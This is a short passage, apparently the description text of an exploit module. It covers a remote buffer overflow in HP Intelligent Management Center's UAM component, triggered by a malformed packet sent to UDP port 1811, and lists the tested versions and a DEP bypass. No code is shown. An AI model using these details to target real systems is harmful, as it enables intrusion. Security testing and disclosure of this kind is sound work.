                This module exploits a remote buffer overflow in HP Intelligent Management Center
                UAM. The vulnerability exists in the uam.exe component, when using sprint in a
                insecure way for logging purposes. The vulnerability can be triggered by sending a
                malformed packet to the 1811/UDP port. The module has been successfully tested on
                HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
